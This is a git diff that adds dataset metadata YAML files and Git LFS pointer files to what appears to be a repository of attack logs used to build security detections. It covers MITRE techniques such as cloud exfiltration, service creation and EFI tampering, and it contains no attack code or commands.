b/datasets/attack_techniques/T1528/o365_user_consent_mail_permissions/o365_user_consent_mail_permissions-b98153fc-a74a-4b4d-96c5-55e06eab937c.log new file mode 100644 index 000000000..afbd8b9f0 --- /dev/null +++ b/datasets/attack_techniques/T1528/o365_user_consent_mail_permissions/o365_user_consent_mail_permissions-b98153fc-a74a-4b4d-96c5-55e06eab937c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:10a1faf829525b46b4ae20dac9dabe966b0bdad873f110d2988eac5a0e7d3120 +size 2442 diff --git a/datasets/attack_techniques/T1529/auditd_path_sysrq/T1529_auditd_path_sysrq.yml b/datasets/attack_techniques/T1529/auditd_path_sysrq/T1529_auditd_path_sysrq.yml new file mode 100644 index 000000000..2afd87521 --- /dev/null +++ b/datasets/attack_techniques/T1529/auditd_path_sysrq/T1529_auditd_path_sysrq.yml @@ -0,0 +1,12 @@ +author: STRT +id: 0e08cf84-1f8e-4647-b886-2df4fcd04e37 +date: '2026-07-10' +description: Curated attack data generated for detection Linux Magic SysRq Key Abuse +environment: attack_range +directory: auditd_path_sysrq +mitre_technique: [] +datasets: +- name: path_sysrq + path: /datasets/attack_techniques/T1529/auditd_path_sysrq/path_sysrq-0e08cf84-1f8e-4647-b886-2df4fcd04e37.log + sourcetype: auditd + source: auditd diff --git a/datasets/attack_techniques/T1529/auditd_path_sysrq/path_sysrq-0e08cf84-1f8e-4647-b886-2df4fcd04e37.log b/datasets/attack_techniques/T1529/auditd_path_sysrq/path_sysrq-0e08cf84-1f8e-4647-b886-2df4fcd04e37.log new file mode 100644 index 000000000..9ff2af33e --- /dev/null +++ b/datasets/attack_techniques/T1529/auditd_path_sysrq/path_sysrq-0e08cf84-1f8e-4647-b886-2df4fcd04e37.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:0f02cace73972d9a30ecf7d5bdf430c97c29bf18aea3139141a9ebec22c88ca4 +size 523 diff --git a/datasets/attack_techniques/T1529/esxi_bulk_vm_termination/T1529_esxi_bulk_vm_termination.yml b/datasets/attack_techniques/T1529/esxi_bulk_vm_termination/T1529_esxi_bulk_vm_termination.yml new file mode 100644 index 000000000..1fc305cda --- /dev/null +++ b/datasets/attack_techniques/T1529/esxi_bulk_vm_termination/T1529_esxi_bulk_vm_termination.yml @@ -0,0 +1,12 @@ +author: STRT +id: fcdf9f93-dd8a-4377-92b7-e84030cde7fd +date: '2026-07-13' +description: Curated attack data generated for detection ESXi Bulk VM Termination +environment: attack_range +directory: esxi_bulk_vm_termination +mitre_technique: [] +datasets: +- name: esxi_bulk_vm_termination + path: /datasets/attack_techniques/T1529/esxi_bulk_vm_termination/esxi_bulk_vm_termination-fcdf9f93-dd8a-4377-92b7-e84030cde7fd.log + sourcetype: vmw-syslog + source: vmware:esxlog diff --git a/datasets/attack_techniques/T1529/esxi_bulk_vm_termination/esxi_bulk_vm_termination-fcdf9f93-dd8a-4377-92b7-e84030cde7fd.log b/datasets/attack_techniques/T1529/esxi_bulk_vm_termination/esxi_bulk_vm_termination-fcdf9f93-dd8a-4377-92b7-e84030cde7fd.log new file mode 100644 index 000000000..2c3180a81 --- /dev/null +++ b/datasets/attack_techniques/T1529/esxi_bulk_vm_termination/esxi_bulk_vm_termination-fcdf9f93-dd8a-4377-92b7-e84030cde7fd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:867417166ef51a42855a222fc98937b2ce34ebd469e4c8e18eb3d4af34ca74d1 +size 1073 diff --git a/datasets/attack_techniques/T1530/aws_exfil_high_no_getobject/T1530_aws_exfil_high_no_getobject.yml b/datasets/attack_techniques/T1530/aws_exfil_high_no_getobject/T1530_aws_exfil_high_no_getobject.yml new file mode 100644 index 000000000..064abac48 --- /dev/null +++ b/datasets/attack_techniques/T1530/aws_exfil_high_no_getobject/T1530_aws_exfil_high_no_getobject.yml @@ -0,0 +1,13 @@ +author: STRT +id: ea2cbcba-b3c8-4da4-9617-03b4c4693785 +date: '2026-07-10' +description: Curated attack data generated for detection AWS Exfiltration via Anomalous + GetObject API Activity +environment: attack_range +directory: aws_exfil_high_no_getobject +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1530/aws_exfil_high_no_getobject/cloudtrail-ea2cbcba-b3c8-4da4-9617-03b4c4693785.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1530/aws_exfil_high_no_getobject/cloudtrail-ea2cbcba-b3c8-4da4-9617-03b4c4693785.log b/datasets/attack_techniques/T1530/aws_exfil_high_no_getobject/cloudtrail-ea2cbcba-b3c8-4da4-9617-03b4c4693785.log new file mode 100644 index 000000000..4119a2053 --- /dev/null +++ b/datasets/attack_techniques/T1530/aws_exfil_high_no_getobject/cloudtrail-ea2cbcba-b3c8-4da4-9617-03b4c4693785.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:08162cba07028861b9bde538e4ea5254277e60fb2215ed496c79aa1668d003f1 +size 160394 diff --git a/datasets/attack_techniques/T1530/aws_s3_public_bucket/T1530_aws_s3_public_bucket.yml b/datasets/attack_techniques/T1530/aws_s3_public_bucket/T1530_aws_s3_public_bucket.yml new file mode 100644 index 000000000..e56f30485 --- /dev/null +++ b/datasets/attack_techniques/T1530/aws_s3_public_bucket/T1530_aws_s3_public_bucket.yml @@ -0,0 +1,12 @@ +author: STRT +id: 374d8a66-cf0b-47c8-b7ee-74511ad3f8dd +date: '2026-07-10' +description: Curated attack data generated for detection Detect New Open S3 buckets +environment: attack_range +directory: aws_s3_public_bucket +mitre_technique: [] +datasets: +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1530/aws_s3_public_bucket/aws_cloudtrail_events-374d8a66-cf0b-47c8-b7ee-74511ad3f8dd.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1530/aws_s3_public_bucket/aws_cloudtrail_events-374d8a66-cf0b-47c8-b7ee-74511ad3f8dd.log b/datasets/attack_techniques/T1530/aws_s3_public_bucket/aws_cloudtrail_events-374d8a66-cf0b-47c8-b7ee-74511ad3f8dd.log new file mode 100644 index 000000000..e3000e168 --- /dev/null +++ b/datasets/attack_techniques/T1530/aws_s3_public_bucket/aws_cloudtrail_events-374d8a66-cf0b-47c8-b7ee-74511ad3f8dd.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:9f5d0dd96127dc3a0824cc6511c52c78399b83024c50dae80b657231a8cd69b1 +size 9852 diff --git a/datasets/attack_techniques/T1531/log_off_user/T1531_log_off_user.yml b/datasets/attack_techniques/T1531/log_off_user/T1531_log_off_user.yml new file mode 100644 index 000000000..0bbc82559 --- /dev/null +++ b/datasets/attack_techniques/T1531/log_off_user/T1531_log_off_user.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8dadbca2-f555-40d7-89f9-5671b12b2dc0 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Powershell Logoff + User via Quser +environment: attack_range +directory: log_off_user +mitre_technique: [] +datasets: +- name: pwh_quser_logoff + path: /datasets/attack_techniques/T1531/log_off_user/pwh_quser_logoff-8dadbca2-f555-40d7-89f9-5671b12b2dc0.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/datasets/attack_techniques/T1531/log_off_user/pwh_quser_logoff-8dadbca2-f555-40d7-89f9-5671b12b2dc0.log b/datasets/attack_techniques/T1531/log_off_user/pwh_quser_logoff-8dadbca2-f555-40d7-89f9-5671b12b2dc0.log new file mode 100644 index 000000000..9d51cd78e --- /dev/null +++ b/datasets/attack_techniques/T1531/log_off_user/pwh_quser_logoff-8dadbca2-f555-40d7-89f9-5671b12b2dc0.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:eca2536dbee8c6044a2b48a02316f3968323abeccc1ab9bcec8bc1af329877de +size 3750 diff --git a/datasets/attack_techniques/T1531/powershell_log_process_tree/T1531_powershell_log_process_tree.yml b/datasets/attack_techniques/T1531/powershell_log_process_tree/T1531_powershell_log_process_tree.yml new file mode 100644 index 000000000..dfd4f7bd1 --- /dev/null +++ b/datasets/attack_techniques/T1531/powershell_log_process_tree/T1531_powershell_log_process_tree.yml @@ -0,0 +1,13 @@ +author: STRT +id: b8c00d63-38d0-4341-b163-bb6053a0aff5 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Account Access Removal + via Logoff Exec +environment: attack_range +directory: powershell_log_process_tree +mitre_technique: [] +datasets: +- name: powershell_logoff + path: /datasets/attack_techniques/T1531/powershell_log_process_tree/powershell_logoff-b8c00d63-38d0-4341-b163-bb6053a0aff5.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1531/powershell_log_process_tree/powershell_logoff-b8c00d63-38d0-4341-b163-bb6053a0aff5.log b/datasets/attack_techniques/T1531/powershell_log_process_tree/powershell_logoff-b8c00d63-38d0-4341-b163-bb6053a0aff5.log new file mode 100644 index 000000000..6041dad1c --- /dev/null +++ b/datasets/attack_techniques/T1531/powershell_log_process_tree/powershell_logoff-b8c00d63-38d0-4341-b163-bb6053a0aff5.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4dc5b78f2811b1dfa6b185a1b195a7d398c79208a28cc471f67a89f8813d1fef +size 12255 diff --git a/datasets/attack_techniques/T1537/aws_ami_shared_public/T1537_aws_ami_shared_public.yml b/datasets/attack_techniques/T1537/aws_ami_shared_public/T1537_aws_ami_shared_public.yml new file mode 100644 index 000000000..3113b35dd --- /dev/null +++ b/datasets/attack_techniques/T1537/aws_ami_shared_public/T1537_aws_ami_shared_public.yml @@ -0,0 +1,13 @@ +author: STRT +id: 4fcd322d-2e44-41c8-b4a6-f796ca7545bc +date: '2026-07-10' +description: Curated attack data generated for detection AWS AMI Attribute Modification + for Exfiltration +environment: attack_range +directory: aws_ami_shared_public +mitre_technique: [] +datasets: +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1537/aws_ami_shared_public/aws_cloudtrail_events-4fcd322d-2e44-41c8-b4a6-f796ca7545bc.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1537/aws_ami_shared_public/aws_cloudtrail_events-4fcd322d-2e44-41c8-b4a6-f796ca7545bc.log b/datasets/attack_techniques/T1537/aws_ami_shared_public/aws_cloudtrail_events-4fcd322d-2e44-41c8-b4a6-f796ca7545bc.log new file mode 100644 index 000000000..73975babe --- /dev/null +++ b/datasets/attack_techniques/T1537/aws_ami_shared_public/aws_cloudtrail_events-4fcd322d-2e44-41c8-b4a6-f796ca7545bc.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:461d206736f38ce60522df84bef948a08e3549708aa7c7670ffd9ad5be8b17b5 +size 2980 diff --git a/datasets/attack_techniques/T1537/aws_snapshot_exfil/T1537_aws_snapshot_exfil.yml b/datasets/attack_techniques/T1537/aws_snapshot_exfil/T1537_aws_snapshot_exfil.yml new file mode 100644 index 000000000..305681b6f --- /dev/null +++ b/datasets/attack_techniques/T1537/aws_snapshot_exfil/T1537_aws_snapshot_exfil.yml @@ -0,0 +1,17 @@ +author: STRT +id: fe0820ab-c310-4ff2-8270-98a0da31c6e9 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS EC2 Snapshot Shared + Externally +environment: attack_range +directory: aws_snapshot_exfil +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1537/aws_snapshot_exfil/asl_ocsf_cloudtrail-fe0820ab-c310-4ff2-8270-98a0da31c6e9.log + sourcetype: aws:asl + source: aws_asl +- name: aws_cloudtrail_events + path: /datasets/attack_techniques/T1537/aws_snapshot_exfil/aws_cloudtrail_events-fe0820ab-c310-4ff2-8270-98a0da31c6e9.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1537/aws_snapshot_exfil/asl_ocsf_cloudtrail-fe0820ab-c310-4ff2-8270-98a0da31c6e9.log b/datasets/attack_techniques/T1537/aws_snapshot_exfil/asl_ocsf_cloudtrail-fe0820ab-c310-4ff2-8270-98a0da31c6e9.log new file mode 100644 index 000000000..dae9f60ea --- /dev/null +++ b/datasets/attack_techniques/T1537/aws_snapshot_exfil/asl_ocsf_cloudtrail-fe0820ab-c310-4ff2-8270-98a0da31c6e9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:dec5e0ff02540423cc1e46df46277d4cc50102a174e7c01d8c148528e3aee7d6 +size 5126 diff --git a/datasets/attack_techniques/T1537/aws_snapshot_exfil/aws_cloudtrail_events-fe0820ab-c310-4ff2-8270-98a0da31c6e9.log b/datasets/attack_techniques/T1537/aws_snapshot_exfil/aws_cloudtrail_events-fe0820ab-c310-4ff2-8270-98a0da31c6e9.log new file mode 100644 index 000000000..87e82c3b5 --- /dev/null +++ b/datasets/attack_techniques/T1537/aws_snapshot_exfil/aws_cloudtrail_events-fe0820ab-c310-4ff2-8270-98a0da31c6e9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1f35f49ff854053f9b8b5af9585434673587f0d54f2182ef57f01f707fafc68f +size 11269 diff --git a/datasets/attack_techniques/T1539/okta_web_session_multiple_ip/T1539_okta_web_session_multiple_ip.yml b/datasets/attack_techniques/T1539/okta_web_session_multiple_ip/T1539_okta_web_session_multiple_ip.yml new file mode 100644 index 000000000..a5d1ee8b4 --- /dev/null +++ b/datasets/attack_techniques/T1539/okta_web_session_multiple_ip/T1539_okta_web_session_multiple_ip.yml @@ -0,0 +1,13 @@ +author: STRT +id: c1525c48-1a94-469e-abc2-4dcc9b8c95db +date: '2026-07-13' +description: Curated attack data generated for detection Okta Suspicious Use of a + Session Cookie +environment: attack_range +directory: okta_web_session_multiple_ip +mitre_technique: [] +datasets: +- name: okta_web_session_multiple_ip + path: /datasets/attack_techniques/T1539/okta_web_session_multiple_ip/okta_web_session_multiple_ip-c1525c48-1a94-469e-abc2-4dcc9b8c95db.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1539/okta_web_session_multiple_ip/okta_web_session_multiple_ip-c1525c48-1a94-469e-abc2-4dcc9b8c95db.log b/datasets/attack_techniques/T1539/okta_web_session_multiple_ip/okta_web_session_multiple_ip-c1525c48-1a94-469e-abc2-4dcc9b8c95db.log new file mode 100644 index 000000000..39898d16b --- /dev/null +++ b/datasets/attack_techniques/T1539/okta_web_session_multiple_ip/okta_web_session_multiple_ip-c1525c48-1a94-469e-abc2-4dcc9b8c95db.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f1cb53e27502db26d048480e4de87707b0ee30bd2c5812e86d7bd38dafb6b0d2 +size 6268 diff --git a/datasets/attack_techniques/T1542.001/snapattack/T1542.001_snapattack.yml b/datasets/attack_techniques/T1542.001/snapattack/T1542.001_snapattack.yml new file mode 100644 index 000000000..2709fda0c --- /dev/null +++ b/datasets/attack_techniques/T1542.001/snapattack/T1542.001_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: b6e7d109-b895-48d9-ab57-0bca76819856 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Suspicious File in + EFI Volume +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1542.001/snapattack/snapattack-b6e7d109-b895-48d9-ab57-0bca76819856.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1542.001/snapattack/snapattack-b6e7d109-b895-48d9-ab57-0bca76819856.log b/datasets/attack_techniques/T1542.001/snapattack/snapattack-b6e7d109-b895-48d9-ab57-0bca76819856.log new file mode 100644 index 000000000..446a46116 --- /dev/null +++ b/datasets/attack_techniques/T1542.001/snapattack/snapattack-b6e7d109-b895-48d9-ab57-0bca76819856.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:86808d6ac7bd03971712e64783891d7a2bff2251954a2b6a84049c393043018a +size 1252 diff --git a/datasets/attack_techniques/T1542.003/snapattack/T1542.003_snapattack.yml b/datasets/attack_techniques/T1542.003/snapattack/T1542.003_snapattack.yml new file mode 100644 index 000000000..addc89f5c --- /dev/null +++ b/datasets/attack_techniques/T1542.003/snapattack/T1542.003_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: a46f68ff-2513-4d72-862f-8ed6b0aca131 +date: '2026-07-11' +description: Curated attack data generated for detection Windows EFI Bootloader File + Modification +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1542.003/snapattack/snapattack-a46f68ff-2513-4d72-862f-8ed6b0aca131.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1542.003/snapattack/snapattack-a46f68ff-2513-4d72-862f-8ed6b0aca131.log b/datasets/attack_techniques/T1542.003/snapattack/snapattack-a46f68ff-2513-4d72-862f-8ed6b0aca131.log new file mode 100644 index 000000000..5d3dd4a15 --- /dev/null +++ b/datasets/attack_techniques/T1542.003/snapattack/snapattack-a46f68ff-2513-4d72-862f-8ed6b0aca131.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a3297fff4b36030ab2ed4e500473b785c4f3032bdecb351eaaefa44a06c6091c +size 1255 diff --git a/datasets/attack_techniques/T1543.003/atomic_red_team/T1543.003_atomic_red_team.yml b/datasets/attack_techniques/T1543.003/atomic_red_team/T1543.003_atomic_red_team.yml new file mode 100644 index 000000000..139db151f --- /dev/null +++ b/datasets/attack_techniques/T1543.003/atomic_red_team/T1543.003_atomic_red_team.yml @@ -0,0 +1,16 @@ +author: STRT +id: 68ec33e8-9b78-4b59-9165-b7aeab1d4a46 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Remote Create Service +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: remote_service_create_windows-sysmon + path: /datasets/attack_techniques/T1543.003/atomic_red_team/remote_service_create_windows-sysmon-68ec33e8-9b78-4b59-9165-b7aeab1d4a46.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational +- name: remcom_windows-system + path: /datasets/attack_techniques/T1543.003/atomic_red_team/remcom_windows-system-68ec33e8-9b78-4b59-9165-b7aeab1d4a46.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1543.003/atomic_red_team/remcom_windows-system-68ec33e8-9b78-4b59-9165-b7aeab1d4a46.log b/datasets/attack_techniques/T1543.003/atomic_red_team/remcom_windows-system-68ec33e8-9b78-4b59-9165-b7aeab1d4a46.log new file mode 100644 index 000000000..a42486869 --- /dev/null +++ b/datasets/attack_techniques/T1543.003/atomic_red_team/remcom_windows-system-68ec33e8-9b78-4b59-9165-b7aeab1d4a46.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e7e1c732c173d6d3dbb114d2c2bb5fba2d336f9dd83b7bcacfcbc191183c4717 +size 1870 diff --git a/datasets/attack_techniques/T1543.003/atomic_red_team/remote_service_create_windows-sysmon-68ec33e8-9b78-4b59-9165-b7aeab1d4a46.log b/datasets/attack_techniques/T1543.003/atomic_red_team/remote_service_create_windows-sysmon-68ec33e8-9b78-4b59-9165-b7aeab1d4a46.log new file mode 100644 index 000000000..38e9ba74b --- /dev/null +++ b/datasets/attack_techniques/T1543.003/atomic_red_team/remote_service_create_windows-sysmon-68ec33e8-9b78-4b59-9165-b7aeab1d4a46.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:2dd1965c9bc9390fabace178135420380be76452a3785661e5f7fbbb04bb2370 +size 4174 diff --git a/datasets/attack_techniques/T1543.003/lateral_movement/T1543.003_lateral_movement.yml b/datasets/attack_techniques/T1543.003/lateral_movement/T1543.003_lateral_movement.yml new file mode 100644 index 000000000..48d1d0bef --- /dev/null +++ b/datasets/attack_techniques/T1543.003/lateral_movement/T1543.003_lateral_movement.yml @@ -0,0 +1,13 @@ +author: STRT +id: 35db38a5-c5ce-4da1-8282-70ee22c9bcf9 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Service Creation + on Remote Endpoint +environment: attack_range +directory: lateral_movement +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1543.003/lateral_movement/windows-sysmon-35db38a5-c5ce-4da1-8282-70ee22c9bcf9.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1543.003/lateral_movement/windows-sysmon-35db38a5-c5ce-4da1-8282-70ee22c9bcf9.log b/datasets/attack_techniques/T1543.003/lateral_movement/windows-sysmon-35db38a5-c5ce-4da1-8282-70ee22c9bcf9.log new file mode 100644 index 000000000..5c109ecf7 --- /dev/null +++ b/datasets/attack_techniques/T1543.003/lateral_movement/windows-sysmon-35db38a5-c5ce-4da1-8282-70ee22c9bcf9.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:5b748b26d07033f62b88ccc122b6777721f746384717a811c649bd1834e0f2b6 +size 1943 diff --git a/datasets/attack_techniques/T1543.003/lateral_movement_lolbas/T1543.003_lateral_movement_lolbas.yml b/datasets/attack_techniques/T1543.003/lateral_movement_lolbas/T1543.003_lateral_movement_lolbas.yml new file mode 100644 index 000000000..8d2a451a8 --- /dev/null +++ b/datasets/attack_techniques/T1543.003/lateral_movement_lolbas/T1543.003_lateral_movement_lolbas.yml @@ -0,0 +1,13 @@ +author: STRT +id: 2923edcb-2834-458b-b3b6-096f2a4fc46d +date: '2026-07-11' +description: Curated attack data generated for detection Services LOLBAS Execution + Process Spawn +environment: attack_range +directory: lateral_movement_lolbas +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1543.003/lateral_movement_lolbas/windows-sysmon-2923edcb-2834-458b-b3b6-096f2a4fc46d.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1543.003/lateral_movement_lolbas/windows-sysmon-2923edcb-2834-458b-b3b6-096f2a4fc46d.log b/datasets/attack_techniques/T1543.003/lateral_movement_lolbas/windows-sysmon-2923edcb-2834-458b-b3b6-096f2a4fc46d.log new file mode 100644 index 000000000..2bf8666ca --- /dev/null +++ b/datasets/attack_techniques/T1543.003/lateral_movement_lolbas/windows-sysmon-2923edcb-2834-458b-b3b6-096f2a4fc46d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:8077c45762de0a0ae816b0fe61b629f686eb13e1adb25d23033a8303abc16ab5 +size 3990 diff --git a/datasets/attack_techniques/T1543.003/lateral_movement_powershell/T1543.003_lateral_movement_powershell.yml b/datasets/attack_techniques/T1543.003/lateral_movement_powershell/T1543.003_lateral_movement_powershell.yml new file mode 100644 index 000000000..ade47ce76 --- /dev/null +++ b/datasets/attack_techniques/T1543.003/lateral_movement_powershell/T1543.003_lateral_movement_powershell.yml @@ -0,0 +1,13 @@ +author: STRT +id: b610a763-c323-4992-9d73-ff586df96677 +date: '2026-07-10' +description: Curated attack data generated for detection Possible Lateral Movement + PowerShell Spawn +environment: attack_range +directory: lateral_movement_powershell +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1543.003/lateral_movement_powershell/windows-sysmon-b610a763-c323-4992-9d73-ff586df96677.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1543.003/lateral_movement_powershell/windows-sysmon-b610a763-c323-4992-9d73-ff586df96677.log b/datasets/attack_techniques/T1543.003/lateral_movement_powershell/windows-sysmon-b610a763-c323-4992-9d73-ff586df96677.log new file mode 100644 index 000000000..0187b8eaa --- /dev/null +++ b/datasets/attack_techniques/T1543.003/lateral_movement_powershell/windows-sysmon-b610a763-c323-4992-9d73-ff586df96677.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1437a6a5552874cea3c255d81aa600641998cc9397120ecf2f72e0c3e473e010 +size 8437 diff --git a/datasets/attack_techniques/T1543.003/lotus_blossom_chrysalis/T1543.003_lotus_blossom_chrysalis.yml b/datasets/attack_techniques/T1543.003/lotus_blossom_chrysalis/T1543.003_lotus_blossom_chrysalis.yml new file mode 100644 index 000000000..8cec5605d --- /dev/null +++ b/datasets/attack_techniques/T1543.003/lotus_blossom_chrysalis/T1543.003_lotus_blossom_chrysalis.yml @@ -0,0 +1,13 @@ +author: STRT +id: 8f66efe6-7be9-44cb-abee-99cb53772741 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Bluetooth Service + Installed From Uncommon Location +environment: attack_range +directory: lotus_blossom_chrysalis +mitre_technique: [] +datasets: +- name: windows-system + path: /datasets/attack_techniques/T1543.003/lotus_blossom_chrysalis/windows-system-8f66efe6-7be9-44cb-abee-99cb53772741.log + sourcetype: XmlWinEventLog:System + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1543.003/lotus_blossom_chrysalis/windows-system-8f66efe6-7be9-44cb-abee-99cb53772741.log b/datasets/attack_techniques/T1543.003/lotus_blossom_chrysalis/windows-system-8f66efe6-7be9-44cb-abee-99cb53772741.log new file mode 100644 index 000000000..e26af2b80 --- /dev/null +++ b/datasets/attack_techniques/T1543.003/lotus_blossom_chrysalis/windows-system-8f66efe6-7be9-44cb-abee-99cb53772741.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:a93c337278af4bd34e2cb4ebebf32144a6827d40f760d0ecb6dbd80be2370f8e +size 2326 diff --git a/datasets/attack_techniques/T1543.003/windows_krbrelayup_service_creation/T1543.003_windows_krbrelayup_service_creation.yml b/datasets/attack_techniques/T1543.003/windows_krbrelayup_service_creation/T1543.003_windows_krbrelayup_service_creation.yml new file mode 100644 index 000000000..0acb936d9 --- /dev/null +++ b/datasets/attack_techniques/T1543.003/windows_krbrelayup_service_creation/T1543.003_windows_krbrelayup_service_creation.yml @@ -0,0 +1,13 @@ +author: STRT +id: f70012db-abd8-423d-a012-1d029fe23e14 +date: '2026-07-11' +description: Curated attack data generated for detection Windows KrbRelayUp Service + Creation +environment: attack_range +directory: windows_krbrelayup_service_creation +mitre_technique: [] +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1543.003/windows_krbrelayup_service_creation/windows-xml-f70012db-abd8-423d-a012-1d029fe23e14.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:System diff --git a/datasets/attack_techniques/T1543.003/windows_krbrelayup_service_creation/windows-xml-f70012db-abd8-423d-a012-1d029fe23e14.log b/datasets/attack_techniques/T1543.003/windows_krbrelayup_service_creation/windows-xml-f70012db-abd8-423d-a012-1d029fe23e14.log new file mode 100644 index 000000000..2d39b4a29 --- /dev/null +++ b/datasets/attack_techniques/T1543.003/windows_krbrelayup_service_creation/windows-xml-f70012db-abd8-423d-a012-1d029fe23e14.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:d3e40ea5ee14ef0e45c019ff716ab4adba82e4182e6a68dbeeb1b55a0710f022 +size 1806 diff --git a/datasets/attack_techniques/T1546.001/txtfile_reg/T1546.001_txtfile_reg.yml b/datasets/attack_techniques/T1546.001/txtfile_reg/T1546.001_txtfile_reg.yml new file mode 100644 index 000000000..dbd763839 --- /dev/null +++ b/datasets/attack_techniques/T1546.001/txtfile_reg/T1546.001_txtfile_reg.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3c07565a-4998-4fc6-b2af-a23e3beaa80a +date: '2026-07-11' +description: Curated attack data generated for detection Windows New Default File + Association Value Set +environment: attack_range +directory: txtfile_reg +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1546.001/txtfile_reg/sysmon-3c07565a-4998-4fc6-b2af-a23e3beaa80a.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1546.001/txtfile_reg/sysmon-3c07565a-4998-4fc6-b2af-a23e3beaa80a.log b/datasets/attack_techniques/T1546.001/txtfile_reg/sysmon-3c07565a-4998-4fc6-b2af-a23e3beaa80a.log new file mode 100644 index 000000000..af30cb7bc --- /dev/null +++ b/datasets/attack_techniques/T1546.001/txtfile_reg/sysmon-3c07565a-4998-4fc6-b2af-a23e3beaa80a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:1b702a44a76caece8a4ec8090e9757e951ea10f8231ea4760ae5a3b89e7fd29c +size 3091 diff --git a/datasets/attack_techniques/T1546.002/scrnsave_reg/T1546.002_scrnsave_reg.yml b/datasets/attack_techniques/T1546.002/scrnsave_reg/T1546.002_scrnsave_reg.yml new file mode 100644 index 000000000..d5cc6f1b1 --- /dev/null +++ b/datasets/attack_techniques/T1546.002/scrnsave_reg/T1546.002_scrnsave_reg.yml @@ -0,0 